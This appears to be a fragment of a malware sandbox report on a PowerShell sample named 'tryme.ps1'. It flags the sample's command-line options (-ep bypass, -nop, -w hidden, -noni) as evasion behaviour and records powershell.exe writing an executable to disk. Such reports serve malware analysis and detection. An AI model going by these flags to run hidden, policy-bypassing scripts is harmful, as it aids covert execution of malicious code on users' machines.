option	-ep bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
option	-noni	value	Prevents creating an interactive prompt for the user

The process powershell.exe wrote an executable file to disk (1 event)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

tryme.ps1

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